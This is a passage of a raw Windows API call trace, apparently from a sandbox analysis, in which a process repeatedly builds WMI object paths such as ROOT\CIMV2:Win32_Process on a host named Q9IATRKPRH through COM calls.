ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0129.021] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0129.021] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0129.021] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.023] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bb835a0) returned 0x0 [0129.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb835a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0129.023] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb835a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0aad0) returned 0x0 [0129.023] WbemDefPath:IUnknown:Release (This=0x1bb835a0) returned 0x0 [0129.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0aad0) returned 0x0 [0129.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0129.023] WbemDefPath:IUnknown:AddRef (This=0x1aa0aad0) returned 0x3 [0129.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0129.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0129.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bb83620) returned 0x0 [0129.024] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb83620, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.024] WbemDefPath:IUnknown:Release (This=0x1bb83620) returned 0x3 [0129.024] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0129.024] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0129.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0129.024] WbemDefPath:IUnknown:Release (This=0x1aa0aad0) returned 0x2 [0129.024] WbemDefPath:IUnknown:Release (This=0x1aa0aad0) returned 0x1 [0129.024] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0129.024] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0129.024] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aad0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0aad0) returned 0x0 [0129.024] WbemDefPath:IUnknown:AddRef (This=0x1aa0aad0) returned 0x3 [0129.024] WbemDefPath:IUnknown:Release (This=0x1aa0aad0) returned 0x2 [0129.024] WbemDefPath:IWbemPath:SetText (This=0x1aa0aad0, uMode=0x4, pszPath="") returned 0x0 [0129.024] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0129.024] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aa10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0129.024] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0aad0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0129.024] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0aad0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0129.024] WbemDefPath:IWbemPath:SetServer (This=0x1aa0aad0, Name="Q9IATRKPRH") returned 0x0 [0129.025] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0129.025] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0129.025] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0129.025] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.027] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bb83640) returned 0x0 [0129.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb83640, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0129.027] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb83640, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0ab90) returned 0x0 [0129.027] WbemDefPath:IUnknown:Release (This=0x1bb83640) returned 0x0 [0129.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0ab90) returned 0x0 [0129.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0129.028] WbemDefPath:IUnknown:AddRef (This=0x1aa0ab90) returned 0x3 [0129.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0129.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0129.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bb83680) returned 0x0 [0129.028] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb83680, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.028] WbemDefPath:IUnknown:Release (This=0x1bb83680) returned 0x3 [0129.028] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0129.028] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0129.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0129.028] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x2 [0129.028] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x1 [0129.028] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0129.028] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0129.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0ab90) returned 0x0 [0129.028] WbemDefPath:IUnknown:AddRef (This=0x1aa0ab90) returned 0x3 [0129.029] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x2 [0129.029] WbemDefPath:IWbemPath:SetText (This=0x1aa0ab90, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ab90, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ab90, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ab90, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0129.029] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0aad0) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ab90, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0ab90, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0ab90, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0129.029] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0aad0, uIndex=0x0, pszName="ROOT") returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0ab90, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0ab90, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0129.029] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0aad0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0aad0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0129.029] WbemDefPath:IWbemPath:SetClassName (This=0x1aa0aad0, Name="Win32_Process") returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0aad0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0aad0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0129.029] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0129.030] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0129.030] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0129.030] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a890, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0129.030] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0129.030] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0129.030] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0129.030] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0129.030] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0129.030] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0129.030] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0129.030] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.032] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bb838e0) returned 0x0 [0129.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb838e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0129.032] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb838e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1aa0ac50) returned 0x0 [0129.032] WbemDefPath:IUnknown:Release (This=0x1bb838e0) returned 0x0 [0129.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1aa0ac50) returned 0x0 [0129.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0129.033] WbemDefPath:IUnknown:AddRef (This=0x1aa0ac50) returned 0x3 [0129.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0129.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0129.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bb83920) returned 0x0 [0129.033] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb83920, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.033] WbemDefPath:IUnknown:Release (This=0x1bb83920) returned 0x3 [0129.033] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0129.033] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0129.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0129.033] WbemDefPath:IUnknown:Release (This=0x1aa0ac50) returned 0x2 [0129.033] WbemDefPath:IUnknown:Release (This=0x1aa0ac50) returned 0x1 [0129.033] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0129.033] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0129.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ac50, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1aa0ac50) returned 0x0 [0129.033] WbemDefPath:IUnknown:AddRef (This=0x1aa0ac50) returned 0x3 [0129.033] WbemDefPath:IUnknown:Release (This=0x1aa0ac50) returned 0x2 [0129.033] WbemDefPath:IWbemPath:SetText (This=0x1aa0ac50, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0129.033] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a890, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0129.034] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0129.034] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.034] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0129.034] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0129.034] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0129.034] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.036] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bb83960) returned 0x0 [0129.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb83960, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, 